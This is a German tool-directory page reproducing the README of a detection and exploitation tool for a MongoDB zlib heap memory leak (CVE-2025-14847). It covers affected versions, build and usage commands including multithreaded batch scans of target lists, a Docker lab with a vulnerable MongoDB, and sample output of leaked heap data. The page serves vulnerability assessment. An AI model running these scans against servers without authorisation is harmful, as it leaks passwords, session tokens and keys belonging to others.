Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-14847 — MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847) Erkennungstool | Kitploit
Tools/GitHubGitHub/onewinner/cve-2025-14847
SchwachstellenscannerSpeicherforensikExploitationInformationsbeschaffungPenetrationstestsDatenbanksicherheit
GitHubonewinner/cve-2025-14847

CVE-2025-14847

MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847) Erkennungstool

Repository anzeigen
14221vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

MongoDB CVE-2025-14847 Schwachstellen-Erkennungstool

Tool zur Erkennung der MongoDB-Speicherleck-Schwachstelle (CVE-2025-14847)


⚠️ Wichtiger Hinweis: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Schwachstellenbewertungen bestimmt. Eine unbefugte Nutzung kann gegen Gesetze verstoßen.


📋 Inhaltsverzeichnis

  • Schwachstellenbeschreibung
  • Funktionen
  • Installation
  • Verwendung
  • Testumgebung einrichten
  • Ausgabebeispiele
  • Erkennungsprinzip
  • Behebungsvorschläge
  • Haftungsausschluss

🔍 Schwachstellenbeschreibung

CVE-2025-14847 ist eine schwerwiegende Speicherleck-Schwachstelle in der Verarbeitung des Zlib-Komprimierungsprotokolls von MongoDB. Ein Angreifer kann durch das Senden manipulierter komprimierter Datenpakete dazu führen, dass MongoDB nicht initialisierte Heap-Speicherdaten zurückgibt, die möglicherweise vertrauliche Informationen enthalten.

Betroffene Versionen

VersionenStatus
8.2.0 - 8.2.2⚠️ Betroffen
8.0.0 - 8.0.16⚠️ Betroffen
7.0.0 - 7.0.27⚠️ Betroffen
6.0.0 - 6.0.26⚠️ Betroffen
5.0.0 - 5.0.31⚠️ Betroffen
4.4.0 - 4.4.29⚠️ Betroffen
4.2.x alle Versionen⚠️ Betroffen
4.0.x alle Versionen⚠️ Betroffen
3.6.x alle Versionen⚠️ Betroffen

Auswirkungen der Schwachstelle

  • 🔴 Schweregrad: CVSS 8.7 (Hoch)
  • 💾 Leck von Heap-Speicher mit sensiblen Daten
  • 🔑 Kann Passwörter, Sitzungstoken, Verschlüsselungsschlüssel usw. enthalten
  • 🚫 Keine Authentifizierung erforderlich
  • 🌐 Remote ausnutzbar

✨ Funktionen

  • ✅ Intelligente Erkennung – Automatische Identifizierung der MongoDB-Version und Beurteilung, ob sie betroffen ist
  • ✅ Doppelte Verifizierung – Versionsprüfung → Zlib-Unterstützungsprüfung → Speicherleck-Extraktion
  • ✅ Einzelscan – Schnelle Prüfung einer einzelnen MongoDB-Instanz
  • ✅ Batch-Scan – Einlesen einer Zielliste aus einer Datei für Batch-Prüfungen
  • ✅ Gleichzeitiger Scan – Unterstützung mehrerer Threads für verbesserte Scan-Effizienz
  • ✅ Echtzeit-Ausgabe – Anzeige der geleakten Speicherdaten in Echtzeit
  • ✅ Ergebnis-Export – Automatisches Speichern der anfälligen Ziele in einer Datei
  • ✅ Kompakte Ausgabe – Einheitliches Ausgabeformat, klar und verständlich

🚀 Installation

Methode 1: Aus dem Quellcode kompilieren

# Repository klonen
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Abhängigkeiten installieren
go mod download

# Kompilieren
go build -o mongodb-scanner main.go

# Ausführen
./mongodb-scanner -t 127.0.0.1:27017

Methode 2: Direkt ausführen

go run main.go -t 127.0.0.1:27017

Methode 3: Vorkompilierte Version herunterladen

Rufen Sie die Seite Releases auf und laden Sie die für Ihr System geeignete vorkompilierte Version herunter.

📖 Verwendung

Grundlegende Verwendung

# Einzelnes Ziel scannen
./mongodb-scanner -t 127.0.0.1:27017

# Batch-Scan aus Datei
./mongodb-scanner -f targets.txt

# Batch-Scan (20 Threads)
./mongodb-scanner -f targets.txt -c 20

# Scannen und anfällige Ziele speichern
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Benutzerdefinierter Offset-Bereich (schnellerer oder tieferer Scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Kommandozeilenparameter

ParameterBeschreibungStandardwert
-t <target>Einzelnes Ziel (z. B. 127.0.0.1:27017)-
-f <file>Zieldatei (ein Ziel pro Zeile)-
-c <num>Anzahl der gleichzeitigen Threads10
-timeout <time>Verbindungs-Timeout2s
-o <file>Ausgabedatei (speichert anfällige Ziele)-
--min-offset <num>Minimale Dokumentlängen-Offset20
--max-offset <num>Maximale Dokumentlängen-Offset8192

Format der Zieldatei

Erstellen Sie eine targets.txt-Datei:

# MongoDB Ziel-Liste
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# Wenn kein Port angegeben wird, wird standardmäßig 27017 verwendet
192.168.1.101

🐳 Testumgebung einrichten

Um dieses Tool sicher zu testen, wird empfohlen, eine lokale Testumgebung mit Docker einzurichten.

Schnellstart mit einer anfälligen MongoDB

# Starten von MongoDB 6.0.14 (anfällige Version) mit Zlib-Kompression
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Container-Status prüfen
docker ps

# Schwachstelle testen
./mongodb-scanner -t 127.0.0.1:27017

Verwendung von Docker Compose

Erstellen Sie eine docker-compose.yml-Datei:

version: '3.8'

services:
  # Anfällige Version (mit Zlib)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Gefixte Version (zum Vergleich)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Testumgebung starten:

# Alle Container starten
docker-compose up -d

# Anfällige Version testen
./mongodb-scanner -t 127.0.0.1:27017

# Gefixte Version testen
./mongodb-scanner -t 127.0.0.1:27018

# Stoppen und bereinigen
docker-compose down -v

Testumgebung bereinigen

# Container stoppen und löschen
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Datenvolumes bereinigen
docker volume prune -f

📊 Ausgabebeispiele

Beschreibung des Ausgabeformats

Das Tool verwendet einheitliche Präfixe zur Kennzeichnung von Ausgabeinformationen:

  • [*] – Informationsausgabe (Ziel, Version, Konfiguration usw.)
  • [+] – Erfolg / anfällig / Daten extrahiert
  • [-] – Fehlgeschlagen / sicher / nicht anfällig
  • [!] – Warnung / wichtiger Hinweis

Einzelscan – anfällig

╔══════════════════════════════════════════════════════════════╗
║  MongoDB CVE-2025-14847 Schwachstellen-Erkennungstool        ║
╚══════════════════════════════════════════════════════════════╝
⚠️   Nur für autorisierte Sicherheitstests | Unbefugte Tests können illegal sein

[*] Ziele: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Scan gestartet...

[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[+] Zlib-Kompression: Aktiviert
[!] Schwachstelle ausnutzbar, beginne mit Speicherextraktion...
[+] Offset=229 Länge=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 - Schwachstelle ausnutzbar (v6.0.14) - 3468ms
[+] Erfolgreich 1 Speicherdateneintrag extrahiert:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 1 | Sicher: 0 | Dauer: 3.4s
======================================================================

Einzelscan – Version sicher

[*] Ziel: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Anfällige Version: Nein

[-] 127.0.0.1:27018 - Version sicher (v6.0.27) - 156ms

======================================================================
[*] Scan abgeschlossen | Gesamt: 1 | Ausnutzbar: 0 | Sicher: 1 | Dauer: 0.2s
======================================================================

Einzelscan – Zlib nicht aktiviert

[*] Ziel: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Anfällige Version: Ja
[-] Zlib-Kompression: Nicht aktiviert
Tool herunterladen